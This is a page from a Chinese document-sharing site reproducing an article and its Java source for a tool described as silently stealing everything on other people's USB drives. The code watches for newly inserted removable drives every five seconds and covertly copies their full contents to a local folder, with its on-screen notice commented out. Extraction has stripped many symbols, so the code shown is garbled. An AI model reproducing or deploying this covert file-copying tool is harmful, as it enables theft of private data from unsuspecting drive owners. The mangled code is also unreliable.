写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc

上传人:本田雅阁 文档编号:2505234 上传时间:2019-04-04 格式:DOC 页数:11 大小:48.52KB
返回 下载 相关 举报
写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc_第1页
第1页 / 共11页
写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc_第2页
第2页 / 共11页
写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc_第3页
第3页 / 共11页
写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc_第4页
第4页 / 共11页
写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc_第5页
第5页 / 共11页
点击查看更多>>
资源描述

《写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc》由会员分享,可在线阅读,更多相关《写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc(11页珍藏版)》请在三一文库上搜索。

1、来自我的QQ空间:http:/ cn.tyz.main;/import javax.swing.JOptionPane;import cn.tyz.utils.PublicUtils;public class Main/ 程序入口public static void main(String args)/ 弹出友情提示(取消提示节约20MB左右内存)/JOptionPane.showMessageDialog(/null, 准备就绪.n拷贝到: + targetPath, U盘监听已启动, 1);/ 启动U盘监听PublicUtils.diskListener();源代码PublicUtils.

2、java:package cn.tyz.utils;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.FileReader;import java.text.SimpleDateFormat;import java.util.ArrayList;imp

3、ort java.util.Date;public class PublicUtilsstatic ArrayList partitions;/ 系统存在分区static int count;/ 存在分区数目static ArrayList sourceFiles;/ 待监听到的U盘对象/ 静态初始化系统存在分区和数目和待监听到的U盘对象staticpartitions = getAllPartition();count = partitions.size();sourceFiles = new ArrayList();/ 获取系统所有分区public static ArrayList get

4、AllPartition()ArrayList list = new ArrayList();File files = File.listRoots();for(File f : files)list.add(f);return list;/ 监听是否有可移动磁盘插入public static void diskListener()new Thread()public void run() while(true)ArrayList list = getAllPartition();/ 检测是否有U盘插入if(list.size() partitions.size()/ 有U盘插入(可处理多个U

5、盘的插入)for(int i = 0; i list.size() ; i+)/ 遍历所有分区if(!partitions.contains(list.get(i)/ 存入插入的U盘对象sourceFiles.add(list.get(i);doCopy(new PublicUtils().getTargetPath();/ 执行复制操作partitions.clear();/ 清空存在分区partitions = list;/ 更新存在分区if(list.size() partitions.size()/ 有U盘拔出sourceFiles = partitions;for(int i = 0

6、; i partitions.size(); i+)/ 遍历所有分区if(!list.contains(partitions.get(i)/ 移除拔出的U盘对象sourceFiles.remove(partitions.get(i);partitions.clear();/ 清空存在分区partitions = list;/ 更新存在分区count = list.size(); / 刷新分区数目try Thread.sleep(5000);catch (InterruptedException e) e.printStackTrace();/ 新启线程调用外部类的复制函数执行复制private

7、 void doCopy(final String targetPath)/ 新启线程执行复制new Thread()public void run()for(int i = 0; i sourceFiles.size(); i+)File source = sourceFiles.get(i);/ 一个U盘对象File target = new File(targetPath + / 一个目标目录 (用盘符+时间做子文件夹名称)+ source.getAbsolutePath().substring(0, 1) + + new SimpleDateFormat(yyyy-MM-dd HH-m

8、m-ss).format(new Date() + );/ 创建存放目录if(!target.exists()target.mkdir();/ 移除待监听的U盘中的 将执行复制的对象sourceFiles.remove(i);/ 调用复制函数去操作copyFiles(source, target);.start();.start();/ 复制文件或文件夹public static boolean copyFiles(File source_file, File target_file) /顶层目录File top_file = new File(target_file, source_file

9、.getName();/复制目录if (source_file.isDirectory() /创建顶层目录top_file.mkdir();/获取当前目录下的所有文件或目录File dir = source_file.listFiles();/逐个拷贝到顶层目录下for (int i = 0; i dir.length; i+) if (!copyFiles(diri, top_file)return false;/复制成功return true;else /复制文件tryFileInputStream fis = new FileInputStream(source_file);Buffer

10、edInputStream bis = new BufferedInputStream(fis);FileOutputStream fos = new FileOutputStream(top_file);BufferedOutputStream bout = new BufferedOutputStream(fos);/缓存5KBbyte buffer = new byte1024 * 1024 * 5;int c = 0;while (c = bis.read(buffer) != -1)bout.write(buffer, 0, c);/System.out.println(复制: +

11、source_file + 到: + target_file);bout.close();fos.close();bis.close();fis.close(); catch (Exception e) e.printStackTrace();/复制成功return true;/ 获取本程序运行所在路径public static String getAppPath()return System.getProperty(user.dir);/ 读取配置文件public String getTargetPath()String path = ;tryBufferedReader br = new

12、BufferedReader(new FileReader(new File(getAppPath() + target.ini);if(br != null)path = br.readLine();/ 路径不正确或为空或不存在,则默认为第二分区下的CopyFilesif(path = | path =null | !new File(path).exists()/ 创建默认路径(默认创建到第二个分区下的CopyFiles目录)path = PublicUtils.getAllPartition().get(1) + CopyFiles;File targetFile = new File(path);if(!targetFile.exists()targetFile.mkdir();catch (Exception e)e.printStackTrace();return path;

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 其他


经营许可证编号:宁ICP备18001539号-1